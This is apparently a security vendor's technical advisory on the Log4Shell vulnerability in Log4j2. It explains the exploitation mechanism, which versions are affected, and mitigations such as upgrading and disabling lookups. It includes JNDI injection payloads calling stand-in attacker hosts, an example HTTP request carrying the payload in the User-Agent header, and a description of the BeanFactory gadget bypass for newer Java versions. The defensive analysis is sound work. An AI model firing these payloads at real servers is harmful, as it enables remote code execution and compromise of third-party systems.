12/13/2021 | Press release | Distributed by Public on 12/13/2021 09:35
Last Thursday, a researcher from the Alibaba Cloud Security Team dropped a zero-day remote code execution exploit on Twitter, targeting the extremely popular log4jlogging framework for Java (specifically, the 2.x branch called Log4j2). The vulnerability was originally discovered and reported to Apache by the Alibaba cloud security team on November 24th. MITRE assigned CVE-2021-44228to this vulnerability, which has since been dubbed Log4Shellby security researchers.
Since Thursday, the vulnerability has been reported to be massively exploited in the wild, due to the fact that it is trivially exploitable (weaponized PoCs are available publicly) and extremely popular, and got a wide coverage on media and social networks.
In this technical blog post, we will clarify the exploitation vectors for this issue, provide accurate research-backed novel information on exactly what is vulnerable (as some reports have been inaccurate), suggest remediations for vendors that cannot easily upgrade their log4j version and answer some burning questions that we've been asked on this vulnerability (such as the efficacy of some suggested mitigations floating around in the last couple of days).
Log4j2 supports by default a logging feature called "Message Lookup Substitution". This feature enables certain special strings to be replaced, at the time of logging, by other dynamically-generated strings. For example, logging the string Running ${java:runtime}will yield an output similar to:
Running Java version 1.7.0_67
It has been discovered that one of the lookup methods, specifically the JNDIlookup paired with the LDAPprotocol, will fetch a specified Java class from a remote sourceand deserialize it, executing some of the class's code in the process.
This means that if any part of a logged string can be controlled by a remote attacker, the remote attacker gains remote code execution on the application that logged the string.
The most common substitution string that takes advantage of this issue will look similar to:
${jndi:ldap://somedomain.com}
Note that the following protocols may also be used for exploiting this issue (some of them may not be available by default) -
${jndi:ldaps://somedomain.com}${jndi:rmi://somedomain.com}${jndi:dns://somedomain.com}(Allows detecting vulnerable servers, does not lead to code execution.)Additional exploit strings that try to bypass WAF solutions can be found here.
The basic attack flow can be summarized by the following diagram:
The vulnerability, which received the highest CVSS score possible - 10.0- is extremely dangerous due to a number of factors:
GET / HTTP/1.1
Host: somedomain.com
User-Agent: ${jndi:ldap://attacker-srv.com/foo}
Or alternatively, a specific webapp can be brute-forced by filling all available HTML input fields with the payload string, using automated tools such as XSStrike.
4. Although the vulnerability is context-dependent, since arbitrary user input must reach one of the Log4j2 logging functions (see next section), this scenario is extremely common. In most logging scenarios, part of the log message contains input from the user. Such input is rarely sanitized since it is considered to be extremely safe.
All of the following conditions must apply in order for a specific Java application to be vulnerable:
This is due to the fact that later versions set the JVM property com.sun.jndi.ldap.object.trustURLCodebaseto falseby default, which disables JNDI loading of classes from arbitrary URL code bases.
Note that relying only on a new Java version as protection against this issue is risky, since the issue may still be exploited on machines that contain certain "gadget" class files locally. See Appendix B - "Exploiting Log4Shell in newer Java versions."
Note that some advisories claimed the Maven package log4j-apiwas vulnerable to this issue. JFrog's security research team looked into this claim and concluded that log4j-api (by itself) is not vulnerable. This is due to the lack of JndiLookupfunctionality, and can be easily seen by trying to trigger the vulnerable code.
Running this code with only log4j-api installed yielded the following output:
ERROR StatusLogger Log4j2 could not find a logging implementation. Please add log4j-core to the classpath. Using SimpleLogger to log to the console...
When running the same code with the SimpleLoggerclass, the lookup string is logged verbatim, but no lookup code is triggered (since it does not exist.)
The best fix for this issue would be to upgrade your log4j dependencies to version 2.15.0, which resolved the issue in several layers and improved the overall security of log4j.
As an additional layer of protection, we also recommend setting the LOG4J_FORMAT_MSG_NO_LOOKUPSenvironment variable globally (see next section).
Although we recommend fixing the issue completely by upgrading the log4j version to a fixed version, it is possible to completely mitigate the issue without upgrading:
If using log4j 2.10.0 or any later version, we recommend disabling message lookups globally by setting the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPSto trueby executing this command before Java applications are loaded in one of the system's init scripts:
export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
This can also be done system-wide by editing the /etc/environmentfile and adding:
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
This method can be used as an additional protection layerin case you suspect not all log4j dependencies have been properly updated, and even to protect against third-party Java packages that depend/embed a vulnerable version of log4j and have not been properly patched yet.
Alternatively, lookups can be disabled for a specific invocation of the JVM by adding the following command-line flag when running the vulnerable Java application: ‐Dlog4j2.formatMsgNoLookups=True
For example -
java ‐Dlog4j2.formatMsgNoLookups=True -jar vulnerable.jar
When using an older log4j version than 2.10.0, it is possible to remove theJndiLookupclass from any Java applications by executing this command:
find ./ -type f -name "log4j-core-*.jar"-exec zip -q -d "{}"org/apache/logging/log4j/core/lookup/JndiLookup.class \;
This will recursively find all log4j-core JAR files, starting from the current directory, and remove the vulnerableJndiLookupclass from them. For full coverage, the command may be executed from the root directory of your project or server.
Note: This method is recommended only as a last resort since it is possible that the vulnerable JndiLookupclass is embedded in recursive JAR files or in locations that the zip command is not accessible to. When choosing this method, it is highly recommended to verify manually that no JndiLookupclasses are available to any Java application.
Xray customers can scan artifacts as usual for detecting CVE-2021-44228. As always this can be done through CI/CD.
The JFrog CLI:
Or the JFrog IDE plugin:
It's important to note that JFrog Security has validated that JFrog Platform solutions themselves are not affected, as no products, including Artifactory, Xray, Distribution, Insight, Access or Mission Control, are using the log4j-core package.
Example application that will be vulnerable to remote exploitation (from LunaSec's advisory):
importorg.apache.logging.log4j.LogManager;importorg.apache.logging.log4j.Logger;importjava.io.*;importjava.sql.SQLException;importjava.util.*;publicclassVulnerableLog4jExampleHandlerimplementsHttpHandler{ staticLoggerlog= LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());/*** A simple HTTP endpoint that reads the request's User Agent and logs it back.* This is basically pseudo-code to explain the vulnerability, and not a full example.* @paramheHTTP Request Object*/ publicvoidhandle(HttpExchangehe) throwsIOException{ StringuserAgent= he.getRequestHeader("user-agent"); // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header. // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a} log.info("Request User Agent:{}", userAgent); Stringresponse= "Hello There, "+ userAgent + "!"; he.sendResponseHeaders(200, response.length()); OutputStreamos= he.getResponseBody(); os.write(response.getBytes()); os.close();}}
Although JNDI remote class loading is disabled in newer Java versions, the message lookup mechanism itself still works, and can be abused for various purposes:
As thoroughly explained in this Veracode blog post, there are ways to exploit JNDI injections even on newer versions of Java, where remote deserializations are disabled.
For example, if the org.apache.naming.factory.BeanFactoryclass (which is usually shipped with Apache Tomcat servers) is available in the classpath of the vulnerable application that uses log4j, then the Log4Shell vulnerability can be exploited for remote code execution, regardless of the underlying JRE/JDK version.
This is due to the fact that even though newer versions of Java will not deserialize remote arbitrary classes, the attacker can still control the factory classand its attributes, through the supplied JNDI Reference:
The remote attacker cannot supply an arbitrary factory class, but can reuse any factory class in the vulnerable program's classpath as a gadget.
A useable factory class would have the following properties:
The researchers identified that the BeanFactoryclass fits this bill, due to its dangerous use of Reflection - Arbitrary Java code objects are created, based solely on the Reference's string attributes, which are attacker controlled.
The blog references full exploit code for hosting an RMI server with the proper Reference that can be used to exploit Log4Shell in newer Java versions, on machines where the BeanFactoryclass is available in the vulnerable application's classpath.
Note that the Log4Shell attack string for using such a server will be similar to -
${jndi:rmi://attacker-srv.com/foo}However, the provided RMI server can also be converted to a ldapor ldapsserver, in which case the attack string will change accordingly.
Since other "factory gadgets" such as the BeanFactoryclass may be found in the future, we highly suggest not relying on a newer Java version as the only line of defense against Log4Shell, and upgrading log4j and/or implementing some of our proposed mitigations.